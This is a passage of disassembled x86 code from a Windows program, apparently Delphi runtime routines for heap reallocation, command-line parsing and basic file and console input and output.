; CODE XREF: sub_200023C8+150j call sub_20001B4C mov eax, [esp+18h+var_14] sub [esp+18h+var_18], eax cmp [esp+18h+var_18], 0Ch jl short loc_20002548 mov eax, ebp add eax, esi mov edx, [esp+18h+var_18] call sub_20001DB4 jmp short loc_20002582 ; --------------------------------------------------------------------------- loc_20002548: ; CODE XREF: sub_200023C8+170j add esi, [esp+18h+var_18] mov ebx, ebp add ebx, esi and dword ptr [ebx], 0FFFFFFFEh jmp short loc_20002582 ; --------------------------------------------------------------------------- loc_20002554: ; CODE XREF: sub_200023C8+13Dj ; sub_200023C8+15Ej mov eax, [ebx] test eax, 80000000h jz short loc_2000257E and eax, 7FFFFFFCh add eax, ebx mov ebx, eax mov edx, [esp+18h+var_14] mov eax, ebx call sub_20001F40 test al, al jz short loc_2000257E mov ebx, ebp add ebx, edi jmp loc_2000248B ; --------------------------------------------------------------------------- loc_2000257E: ; CODE XREF: sub_200023C8+193j ; sub_200023C8+1ABj xor eax, eax jmp short loc_2000259B ; --------------------------------------------------------------------------- loc_20002582: ; CODE XREF: sub_200023C8+68j ; sub_200023C8+82j ... mov eax, esi sub eax, edi add ds:dword_200155B0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 loc_2000259B: ; CODE XREF: sub_200023C8+33j ; sub_200023C8+12Cj ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_200023C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200025A4 proc near ; CODE XREF: sub_200026A8+Dp ; DATA XREF: DATA:off_20014044o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx, eax cmp ds:byte_200155BC, 0 jnz short loc_200025CB call sub_200019A8 test al, al jnz short loc_200025CB xor eax, eax mov [ebp+var_4], eax jmp loc_2000265C ; --------------------------------------------------------------------------- loc_200025CB: ; CODE XREF: sub_200025A4+12j ; sub_200025A4+1Bj xor edx, edx push ebp push offset loc_20002655 push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_20015045, 0 jz short loc_200025EC push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_200025EC: ; CODE XREF: sub_200025A4+3Cj mov edx, esi mov eax, ebx call sub_200023C8 test al, al jz short loc_200025FE mov [ebp+var_4], ebx jmp short loc_20002634 ; --------------------------------------------------------------------------- loc_200025FE: ; CODE XREF: sub_200025A4+53j mov eax, esi call sub_20002094 mov edi, eax mov eax, ebx sub eax, 4 mov eax, [eax] and eax, 7FFFFFFCh sub eax, 4 cmp esi, eax jge short loc_2000261C mov eax, esi loc_2000261C: ; CODE XREF: sub_200025A4+74j test edi, edi jz short loc_20002631 mov edx, edi mov ecx, ebx xchg eax, ecx call sub_200027FC mov eax, ebx call sub_20002224 loc_20002631: ; CODE XREF: sub_200025A4+7Aj mov [ebp+var_4], edi loc_20002634: ; CODE XREF: sub_200025A4+58j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000265C loc_20002641: ; CODE XREF: sub_200025A4+B6j cmp ds:byte_20015045, 0 jz short loc_20002654 push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_20002654: ; CODE XREF: sub_200025A4+A4j retn ; --------------------------------------------------------------------------- loc_20002655: ; DATA XREF: sub_200025A4+2Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20002641 ; --------------------------------------------------------------------------- loc_2000265C: ; CODE XREF: sub_200025A4+22j ; sub_200025A4:loc_20002654j ; DATA XREF: ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn sub_200025A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002668 proc near ; CODE XREF: sub_2000348C+Ap ; sub_2000406C+Cp ... push ebx test eax, eax jle short loc_20002682 call ds:off_2001403C mov ebx, eax test ebx, ebx jnz short loc_20002684 mov al, 1 call sub_20002750 ; --------------------------------------------------------------------------- jmp short loc_20002684 ; --------------------------------------------------------------------------- loc_20002682: ; CODE XREF: sub_20002668+3j xor ebx, ebx loc_20002684: ; CODE XREF: sub_20002668+Fj ; sub_20002668+18j mov eax, ebx pop ebx retn sub_20002668 endp ; =============== S U B R O U T I N E ======================================= sub_20002688 proc near ; CODE XREF: sub_200034A8+Cp ; sub_20003FA8+1Cp ... push ebx test eax, eax jz short loc_200026A2 call ds:off_20014040 mov ebx, eax test ebx, ebx jz short loc_200026A4 mov al, 2 call sub_20002750 ; --------------------------------------------------------------------------- jmp short loc_200026A4 ; --------------------------------------------------------------------------- loc_200026A2: ; CODE XREF: sub_20002688+3j xor ebx, ebx loc_200026A4: ; CODE XREF: sub_20002688+Fj ; sub_20002688+18j mov eax, ebx pop ebx retn sub_20002688 endp ; =============== S U B R O U T I N E ======================================= sub_200026A8 proc near ; CODE XREF: sub_200045D0+22p ; sub_20004CB8+BBp ... mov ecx, [eax] test ecx, ecx jz short loc_200026E0 test edx, edx jz short loc_200026CA push eax mov eax, ecx call ds:off_20014044 pop ecx or eax, eax jz short loc_200026D9 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_200026C3: ; CODE XREF: sub_200026A8+2Ej mov al, 2 jmp sub_20002750 ; --------------------------------------------------------------------------- loc_200026CA: ; CODE XREF: sub_200026A8+8j mov [eax], edx mov eax, ecx call ds:off_20014040 or eax, eax jnz short loc_200026C3 retn ; --------------------------------------------------------------------------- loc_200026D9: ; CODE XREF: sub_200026A8+16j ; sub_200026A8+48j mov al, 1 jmp sub_20002750 ; --------------------------------------------------------------------------- loc_200026E0: ; CODE XREF: sub_200026A8+4j test edx, edx jz short locret_200026F4 push eax mov eax, edx call ds:off_2001403C pop ecx or eax, eax jz short loc_200026D9 mov [ecx], eax locret_200026F4: ; CODE XREF: sub_200026A8+3Aj retn sub_200026A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_200026F8 proc near ; CODE XREF: sub_20002704+42p ; CODE:20003B63p mov ds:dword_20014004, edx call sub_20003F90 sub_200026F8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_20002704 proc near ; CODE XREF: sub_20002750+6j push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:dword_20015008, 0 jz short loc_20002720 mov edx, esi mov eax, ebx call ds:dword_20015008 loc_20002720: ; CODE XREF: sub_20002704+10j test bl, bl jnz short loc_20002731 call sub_20005C00 mov ebx, [eax+4] jmp short loc_20002740 ; --------------------------------------------------------------------------- loc_20002731: ; CODE XREF: sub_20002704+1Ej cmp bl, 18h ja short loc_20002740 xor eax, eax mov al, bl mov bl, ds:byte_20014048[eax] loc_20002740: ; CODE XREF: sub_20002704+2Bj ; sub_20002704+30j xor eax, eax mov al, bl mov edx, esi call sub_200026F8 sub_20002704 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_20002750 proc near ; CODE XREF: sub_20002668+13p ; sub_20002688+13p ... and eax, 7Fh mov edx, [esp+0] jmp sub_20002704 sub_20002750 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_2000275C proc near ; CODE XREF: CODE:2000A444p ; sub_200129A0+6Dp ... push eax push edx push ecx call sub_20005C00 cmp dword ptr [eax+4], 0 pop ecx pop edx pop eax jnz short loc_20002771 retn ; --------------------------------------------------------------------------- loc_20002771: ; CODE XREF: sub_2000275C+12j xor eax, eax jmp sub_20002750 sub_2000275C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000277C proc near ; CODE XREF: sub_2000278C+5p ; sub_20002C64+3Cp ... push ebx mov ebx, eax call sub_20005C00 mov [eax+4], ebx pop ebx retn sub_2000277C endp ; =============== S U B R O U T I N E ======================================= sub_2000278C proc near ; CODE XREF: sub_20002DEC+28p ; sub_20002E58+17p call GetLastError call sub_2000277C retn sub_2000278C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002798 proc near ; CODE XREF: sub_2000EB50+ABp arg_0 = dword ptr 4 push esi push edi mov esi, eax mov edi, [esp+8+arg_0] xor eax, eax or al, [esi] jz short loc_200027D1 test edx, edx jle short loc_200027C2 cmp edx, eax jg short loc_200027C9 loc_200027AE: ; CODE XREF: sub_20002798+2Fj sub eax, edx inc eax test ecx, ecx jl short loc_200027C9 cmp ecx, eax jg short loc_200027CD loc_200027B9: ; CODE XREF: sub_20002798+33j ; sub_20002798+37j add esi, edx mov [edi], cl inc edi rep movsb jmp short loc_200027D3 ; --------------------------------------------------------------------------- loc_200027C2: ; CODE XREF: sub_20002798+10j mov edx, 1 jmp short loc_200027AE ; --------------------------------------------------------------------------- loc_200027C9: ; CODE XREF: sub_20002798+14j ; sub_20002798+1Bj xor ecx, ecx jmp short loc_200027B9 ; --------------------------------------------------------------------------- loc_200027CD: ; CODE XREF: sub_20002798+1Fj mov ecx, eax jmp short loc_200027B9 ; --------------------------------------------------------------------------- loc_200027D1: ; CODE XREF: sub_20002798+Cj mov [edi], al loc_200027D3: ; CODE XREF: sub_20002798+28j pop edi pop esi retn 4 sub_20002798 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200027DC proc near ; CODE XREF: sub_2000A69C+7p ; sub_200129A0+59p ... push ebx call sub_20005C00 mov ebx, [eax+4] call sub_20005C00 xor edx, edx mov [eax+4], edx mov eax, ebx pop ebx retn sub_200027DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200027FC proc near ; CODE XREF: sub_200025A4+81p ; sub_20002BFC+4Fp ... push esi push edi mov esi, eax mov edi, edx mov eax, ecx cmp edi, esi ja short loc_2000281B jz short loc_20002839 sar ecx, 2 js short loc_20002839 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn ; --------------------------------------------------------------------------- loc_2000281B: ; CODE XREF: sub_200027FC+Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] sar ecx, 2 js short loc_20002839 std rep movsd mov ecx, eax and ecx, 3 add esi, 3 add edi, 3 rep movsb cld loc_20002839: ; CODE XREF: sub_200027FC+Cj ; sub_200027FC+11j ... pop edi pop esi retn sub_200027FC endp ; =============== S U B R O U T I N E ======================================= sub_2000283C proc near ; CODE XREF: sub_20002928+41p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax jmp short loc_2000284E ; --------------------------------------------------------------------------- loc_20002846: ; CODE XREF: sub_2000283C+1Aj push ebx ; lpsz call CharNextA mov ebx, eax loc_2000284E: ; CODE XREF: sub_2000283C+8j ; sub_2000283C+2Aj mov al, [ebx] test al, al jz short loc_20002858 cmp al, 20h jbe short loc_20002846 loc_20002858: ; CODE XREF: sub_2000283C+16j cmp byte ptr [ebx], 22h jnz short loc_20002868 cmp byte ptr [ebx+1], 22h jnz short loc_20002868 add ebx, 2 jmp short loc_2000284E ; --------------------------------------------------------------------------- loc_20002868: ; CODE XREF: sub_2000283C+1Fj ; sub_2000283C+25j xor ebp, ebp mov edi, ebx jmp short loc_200028B1 ; --------------------------------------------------------------------------- loc_2000286E: ; CODE XREF: sub_2000283C+79j cmp al, 22h jnz short loc_200028A3 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_2000288A ; --------------------------------------------------------------------------- loc_2000287C: ; CODE XREF: sub_2000283C+56j push ebx ; lpsz call CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_2000288A: ; CODE XREF: sub_2000283C+3Ej mov al, [ebx] test al, al jz short loc_20002894 cmp al, 22h jnz short loc_2000287C loc_20002894: ; CODE XREF: sub_2000283C+52j cmp byte ptr [ebx], 0 jz short loc_200028B1 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_200028B1 ; --------------------------------------------------------------------------- loc_200028A3: ; CODE XREF: sub_2000283C+34j push ebx ; lpsz call CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_200028B1: ; CODE XREF: sub_2000283C+30j ; sub_2000283C+5Bj ... mov al, [ebx] cmp al, 20h ja short loc_2000286E mov eax, esi mov edx, ebp call sub_200045D0 mov ebx, edi mov edi, [esi] xor esi, esi jmp short loc_20002919 ; --------------------------------------------------------------------------- loc_200028C8: ; CODE XREF: sub_2000283C+E1j cmp al, 22h jnz short loc_20002904 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_200028EB ; --------------------------------------------------------------------------- loc_200028D6: ; CODE XREF: sub_2000283C+B7j push ebx ; lpsz call CharNextA cmp eax, ebx jbe short loc_200028EB loc_200028E0: ; CODE XREF: sub_2000283C+ADj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_200028E0 loc_200028EB: ; CODE XREF: sub_2000283C+98j ; sub_2000283C+A2j mov al, [ebx] test al, al jz short loc_200028F5 cmp al, 22h jnz short loc_200028D6 loc_200028F5: ; CODE XREF: sub_2000283C+B3j cmp byte ptr [ebx], 0 jz short loc_20002919 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_20002919 ; --------------------------------------------------------------------------- loc_20002904: ; CODE XREF: sub_2000283C+8Ej push ebx ; lpsz call CharNextA cmp eax, ebx jbe short loc_20002919 loc_2000290E: ; CODE XREF: sub_2000283C+DBj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_2000290E loc_20002919: ; CODE XREF: sub_2000283C+8Aj ; sub_2000283C+BCj ... mov al, [ebx] cmp al, 20h ja short loc_200028C8 mov eax, ebx pop ebp pop edi pop esi pop ebx retn sub_2000283C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002928 proc near ; CODE XREF: sub_200129A0+2Bp ; sub_20012F40+1C8p Filename = byte ptr -114h push ebx push esi push edi add esp, 0FFFFFEF8h mov ebx, edx mov esi, eax mov eax, ebx call sub_20003FA8 test esi, esi jnz short loc_2000295E push 105h ; nSize lea eax, [esp+118h+Filename] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, ebx call sub_20004098 jmp short loc_2000297C ; --------------------------------------------------------------------------- loc_2000295E: ; CODE XREF: sub_20002928+16j call GetCommandLineA mov edi, eax loc_20002965: ; CODE XREF: sub_20002928+52j mov edx, ebx mov eax, edi call sub_2000283C mov edi, eax test esi, esi jz short loc_2000297C cmp dword ptr [ebx], 0 jz short loc_2000297C dec esi jmp short loc_20002965 ; --------------------------------------------------------------------------- loc_2000297C: ; CODE XREF: sub_20002928+34j ; sub_20002928+4Aj ... add esp, 108h pop edi pop esi pop ebx retn sub_20002928 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_20002988 proc near ; CODE XREF: sub_200036D4+10j ; DATA XREF: CODE:2000CA38o ... cmp ds:dword_20015028, 0 jz short loc_20002997 call ds:dword_20015028 loc_20002997: ; CODE XREF: sub_20002988+7j mov eax, 0D2h jmp sub_20003F9C sub_20002988 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200029A4 proc near ; DATA XREF: CODE:20002A80o push ebx mov ebx, eax xor eax, eax mov [ebx+10h], eax xor eax, eax mov [ebx+0Ch], eax push 0 ; lpOverlapped lea eax, [ebx+10h] push eax ; lpNumberOfBytesRead mov eax, [ebx+8] push eax ; nNumberOfBytesToRead mov eax, [ebx+14h] push eax ; lpBuffer mov eax, [ebx] push eax ; hFile call ReadFile test eax, eax jnz short loc_200029D9 call GetLastError cmp eax, 6Dh jnz short loc_200029DB xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_200029D9: ; CODE XREF: sub_200029A4+25j xor eax, eax loc_200029DB: ; CODE XREF: sub_200029A4+2Fj pop ebx retn sub_200029A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200029E0 proc near ; DATA XREF: CODE:20002AB7o ; CODE:20002B87o ... xor eax, eax retn sub_200029E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200029E4 proc near ; DATA XREF: CODE:loc_20002AA9o ; CODE:20002BCFo NumberOfBytesWritten= dword ptr -0Ch push ebx push esi push ecx mov ebx, eax mov esi, [ebx+0Ch] test esi, esi jnz short loc_200029F4 xor eax, eax jmp short loc_20002A1A ; --------------------------------------------------------------------------- loc_200029F4: ; CODE XREF: sub_200029E4+Aj push 0 ; lpOverlapped lea eax, [esp+10h+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push esi ; nNumberOfBytesToWrite mov eax, [ebx+14h] push eax ; lpBuffer mov eax, [ebx] push eax ; hFile call WriteFile test eax, eax jnz short loc_20002A13 call GetLastError jmp short loc_20002A15 ; --------------------------------------------------------------------------- loc_20002A13: ; CODE XREF: sub_200029E4+26j xor eax, eax loc_20002A15: ; CODE XREF: sub_200029E4+2Dj xor edx, edx mov [ebx+0Ch], edx loc_20002A1A: ; CODE XREF: sub_200029E4+Ej pop edx pop esi pop ebx retn sub_200029E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20002A20 proc near ; CODE XREF: sub_20002A30+Bp ; sub_20002E58+Ep push ebx mov ebx, eax push ebx ; hObject call CloseHandle dec eax setz al pop ebx retn sub_20002A20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20002A30 proc near ; DATA XREF: CODE:loc_20002AB0o push ebx mov ebx, eax mov word ptr [ebx+4], 0D7B0h mov eax, [ebx] call sub_20002A20 test al, al jnz short loc_20002A4B call GetLastError pop ebx retn ; --------------------------------------------------------------------------- loc_20002A4B: ; CODE XREF: sub_20002A30+12j xor eax, eax pop ebx retn sub_20002A30 endp ; --------------------------------------------------------------------------- align 10h loc_20002A50: ; DATA XREF: sub_20002BFC+35o push esi mov esi, eax xor eax, eax mov [esi+0Ch], eax mov [esi+10h], eax mov ax, [esi+4] sub eax, 0D7B1h jz short loc_20002A71 dec eax jz short loc_20002A89 dec eax jz short loc_20002A9A jmp loc_20002BD8 ; --------------------------------------------------------------------------- loc_20002A71: ; CODE XREF: CODE:20002A64j mov eax, 80000000h mov edx, 1 mov ecx, 3 mov dword ptr [esi+1Ch], offset sub_200029A4 jmp short loc_20002AB0 ; --------------------------------------------------------------------------- loc_20002A89: ; CODE XREF: CODE:20002A67j mov eax, 40000000h mov edx, 1 mov ecx, 2 jmp short loc_20002AA9 ; --------------------------------------------------------------------------- loc_20002A9A: ; CODE XREF: CODE:20002A6Aj mov eax, 0C0000000h mov edx, 1 mov ecx, 3 loc_20002AA9: ; CODE XREF: CODE:20002A98j mov dword ptr [esi+1Ch], offset sub_200029E4 loc_20002AB0: ; CODE XREF: CODE:20002A87j mov dword ptr [esi+24h], offset sub_20002A30 mov dword ptr [esi+20h], offset sub_200029E0 cmp byte ptr [esi+48h], 0 jz loc_20002B7A push 0 push 80h push ecx push 0 push edx push eax lea eax, [esi+48h] push eax call CreateFileA cmp eax, 0FFFFFFFFh jz loc_20002BEE mov [esi], eax cmp word ptr [esi+4], 0D7B3h jnz loc_20002BB7 dec word ptr [esi+4] push 0 push dword ptr [esi] call GetFileSize inc eax jz loc_20002BEE sub eax, 81h jnb short loc_20002B11 xor eax, eax loc_20002B11: ; CODE XREF: CODE:20002B0Dj push 0 push 0 push eax push dword ptr [esi] call SetFilePointer inc eax jz loc_20002BEE push 0 mov edx, esp push 0 push edx push 80h lea edx, [esi+14Ch] push edx push dword ptr [esi] call ReadFile pop edx dec eax jnz loc_20002BEE xor eax, eax loc_20002B48: ; CODE XREF: CODE:20002B57j cmp eax, edx jnb short loc_20002BB7 cmp byte ptr [esi+eax+14Ch], 0Eh jz short loc_20002B59 inc eax jmp short loc_20002B48 ; --------------------------------------------------------------------------- loc_20002B59: ; CODE XREF: CODE:20002B54j push 2 push 0 sub eax, edx push eax push dword ptr [esi] call SetFilePointer inc eax jz loc_20002BEE push dword ptr [esi] call SetEndOfFile dec eax jnz short loc_20002BEE jmp short loc_20002BB7 ; --------------------------------------------------------------------------- loc_20002B7A: ; CODE XREF: CODE:20002AC2j lea eax, [esi+14Ch] mov dword ptr [esi+8], 80h mov dword ptr [esi+24h], offset sub_200029E0 mov [esi+14h], eax cmp word ptr [esi+4], 0D7B2h jz short loc_20002B9D push 0FFFFFFF6h jmp short loc_20002BAB ; --------------------------------------------------------------------------- loc_20002B9D: ; CODE XREF: CODE:20002B97j cmp esi, offset dword_200153E0 jnz short loc_20002BA9 push 0FFFFFFF4h jmp short loc_20002BAB ; --------------------------------------------------------------------------- loc_20002BA9: ; CODE XREF: CODE:20002BA3j push 0FFFFFFF5h loc_20002BAB: ; CODE XREF: CODE:20002B9Bj ; CODE:20002BA7j call GetStdHandle cmp eax, 0FFFFFFFFh jz short loc_20002BEE mov [esi], eax loc_20002BB7: ; CODE XREF: CODE:20002AEEj ; CODE:20002B4Aj ... cmp word ptr [esi+4], 0D7B1h jz short loc_20002BD6 push dword ptr [esi] call GetFileType test eax, eax jz short loc_20002BDA cmp eax, 2 jnz short loc_20002BD6 mov dword ptr [esi+20h], offset sub_200029E4 loc_20002BD6: ; CODE XREF: CODE:20002BBDj ; CODE:20002BCDj xor eax, eax loc_20002BD8: ; CODE XREF: CODE:20002A6Cj ; CODE:20002BECj ... pop esi retn ; --------------------------------------------------------------------------- loc_20002BDA: ; CODE XREF: CODE:20002BC8j push dword ptr [esi] call CloseHandle mov word ptr [esi+4], 0D7B0h mov eax, 69h jmp short loc_20002BD8 ; --------------------------------------------------------------------------- loc_20002BEE: ; CODE XREF: CODE:20002AE0j ; CODE:20002B02j ... mov word ptr [esi+4], 0D7B0h call GetLastError jmp short loc_20002BD8 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20002BFC proc near ; CODE XREF: sub_200129A0+3Cp ; CODE:20013426p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx xor ecx, ecx mov edx, 14Ch call sub_20002E38 lea eax, [ebx+14Ch] mov [ebx+14h], eax mov word ptr [ebx+4], 0D7B0h xor eax, eax mov al, ds:byte_20014030 mov [ebx+6], ax mov dword ptr [ebx+8], 80h mov dword ptr [ebx+18h], offset loc_20002A50 mov eax, esi call sub_20004244 push eax mov eax, esi call sub_20004444 lea edx, [ebx+48h] pop ecx call sub_200027FC mov eax, esi call sub_20004244 mov byte ptr [ebx+eax+48h], 0 xor eax, eax pop esi pop ebx retn sub_20002BFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002C64 proc near ; CODE XREF: sub_20002CAC+3p push ebx mov cx, [eax+4] sub cx, 0D7B1h jz short loc_20002C7F dec ecx sub cx, 2 jnb short loc_20002C83 mov ebx, edx call ebx mov ebx, eax jmp short loc_20002C9A ; --------------------------------------------------------------------------- loc_20002C7F: ; CODE XREF: sub_20002C64+Aj xor ebx, ebx jmp short loc_20002C9A ; --------------------------------------------------------------------------- loc_20002C83: ; CODE XREF: sub_20002C64+11j cmp eax, offset dword_20015214 jz short loc_20002C91 cmp eax, offset dword_200153E0 jnz short loc_20002C95 loc_20002C91: ; CODE XREF: sub_20002C64+24j xor ebx, ebx jmp short loc_20002C9A ; --------------------------------------------------------------------------- loc_20002C95: ; CODE XREF: sub_20002C64+2Bj mov ebx, 67h loc_20002C9A: ; CODE XREF: sub_20002C64+19j ; sub_20002C64+1Dj ... test ebx, ebx jz short loc_20002CA5 mov eax, ebx call sub_2000277C loc_20002CA5: ; CODE XREF: sub_20002C64+38j mov eax, ebx pop ebx retn sub_20002C64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002CAC proc near ; CODE XREF: CODE:2000A43Fp mov edx, [eax+1Ch] call sub_20002C64 retn sub_20002CAC endp ; --------------------------------------------------------------------------- align 4 loc_20002CB8: ; DATA XREF: sub_20002D54+Do jmp ds:__imp_ReadFile ; --------------------------------------------------------------------------- align 10h loc_20002CC0: ; DATA XREF: sub_20002D74+Do jmp ds:__imp_WriteFile ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20002CC8 proc near ; CODE XREF: sub_20002D54+14p ; sub_20002D74+14p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax mov eax, [ebp+arg_8] movzx edx, word ptr [ebx+4] and edx, eax cmp eax, edx jnz short loc_20002D3A push 0 lea eax, [ebp+var_4] push eax mov eax, [ebx+8] imul esi push eax push edi mov eax, [ebx] push eax call [ebp+arg_4] test eax, eax jnz short loc_20002D0A call GetLastError call sub_2000277C xor eax, eax mov [ebp+var_4], eax jmp short loc_20002D49 ; --------------------------------------------------------------------------- loc_20002D0A: ; CODE XREF: sub_20002CC8+2Fj mov eax, [ebp+var_4] xor edx, edx div dword ptr [ebx+8] mov [ebp+var_4], eax mov eax, [ebp+arg_C] test eax, eax jz short loc_20002D26 mov eax, [ebp+arg_C] mov edx, [ebp+var_4] mov [eax], edx jmp short loc_20002D49 ; --------------------------------------------------------------------------- loc_20002D26: ; CODE XREF: sub_20002CC8+52j cmp esi, [ebp+var_4] jz short loc_20002D49 mov eax, [ebp+arg_0] call sub_2000277C xor eax, eax mov [ebp+var_4], eax jmp short loc_20002D49 ; --------------------------------------------------------------------------- loc_20002D3A: ; CODE XREF: sub_20002CC8+18j mov eax, 67h call sub_2000277C xor eax, eax mov [ebp+var_4], eax loc_20002D49: ; CODE XREF: sub_20002CC8+40j ; sub_20002CC8+5Cj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn 10h sub_20002CC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20002D54 proc near ; CODE XREF: sub_200129A0+92p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push ebx push 0D7B1h push offset loc_20002CB8 push 64h call sub_20002CC8 pop ebx pop ebp retn 4 sub_20002D54 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20002D74 proc near ; CODE XREF: CODE:20013462p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push ebx push 0D7B2h push offset loc_20002CC0 push 65h call sub_20002CC8 pop ebx pop ebp retn 4 sub_20002D74 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002D94 proc near ; CODE XREF: sub_20005A60+1Ep ; sub_20005A60+28p ... push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_20002DD3 cmp ax, 0D7B3h ja short loc_20002DD3 and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_20002DBB mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_20002DBB: ; CODE XREF: sub_20002D94+1Ej test esi, esi jnz short loc_20002DC6 mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_20002DC6: ; CODE XREF: sub_20002D94+29j test esi, esi jz short loc_20002DE5 mov eax, esi call sub_2000277C jmp short loc_20002DE5 ; --------------------------------------------------------------------------- loc_20002DD3: ; CODE XREF: sub_20002D94+Ej ; sub_20002D94+14j cmp ebx, offset dword_20015048 jz short loc_20002DE5 mov eax, 67h call sub_2000277C loc_20002DE5: ; CODE XREF: sub_20002D94+34j ; sub_20002D94+3Dj ... mov eax, esi pop esi pop ebx retn sub_20002D94 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002DEC proc near ; CODE XREF: sub_200129A0+68p push ebx push esi mov ebx, eax or esi, 0FFFFFFFFh mov ax, [ebx+4] cmp ax, 0D7B0h jbe short loc_20002E26 cmp ax, 0D7B3h ja short loc_20002E26 push 0 ; lpFileSizeHigh mov eax, [ebx] push eax ; hFile call GetFileSize mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_20002E1B call sub_2000278C jmp short loc_20002E30 ; --------------------------------------------------------------------------- loc_20002E1B: ; CODE XREF: sub_20002DEC+26j mov eax, esi xor edx, edx div dword ptr [ebx+8] mov esi, eax jmp short loc_20002E30 ; --------------------------------------------------------------------------- loc_20002E26: ; CODE XREF: sub_20002DEC+Fj ; sub_20002DEC+15j mov eax, 67h call sub_2000277C loc_20002E30: ; CODE XREF: sub_20002DEC+2Dj ; sub_20002DEC+38j mov eax, esi pop esi pop ebx retn sub_20002DEC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002E38 proc near ; CODE XREF: sub_20002BFC+Fp ; sub_20004CB8+F1p ... push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_20002E55 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_20002E55: ; CODE XREF: sub_20002E38+12j pop edi retn sub_20002E38 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002E58 proc near ; DATA XREF: sub_20002E80+35o push ebx push esi mov ebx, eax mov word ptr [ebx+4], 0D7B0h xor esi, esi mov eax, [ebx] call sub_20002A20 test al, al jnz short loc_20002E79 call sub_2000278C mov esi, 1 loc_20002E79: ; CODE 